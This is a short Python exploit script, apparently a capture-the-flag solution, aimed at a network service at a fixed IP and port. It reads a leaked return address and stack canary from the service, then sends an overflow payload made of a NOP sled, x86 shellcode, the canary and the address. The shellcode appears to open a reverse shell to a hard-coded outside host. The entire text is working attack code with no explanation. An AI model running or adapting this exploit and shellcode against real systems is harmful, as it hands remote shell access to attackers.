import socket,time
from struct import *
import binascii
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("128.238.66.212", 31338))
addr = s.recv(4)
canary = s.recv(4)
shellcode="\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68\x4f\x10\x68\xd7\x66\x68\x27\x1a\x66\x51\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x31\xc9\x89\xe3\xb0\x0b\xcd\x80"
payload="\x90"*1982+shellcode+canary+"B"*12+addr
s.send(payload)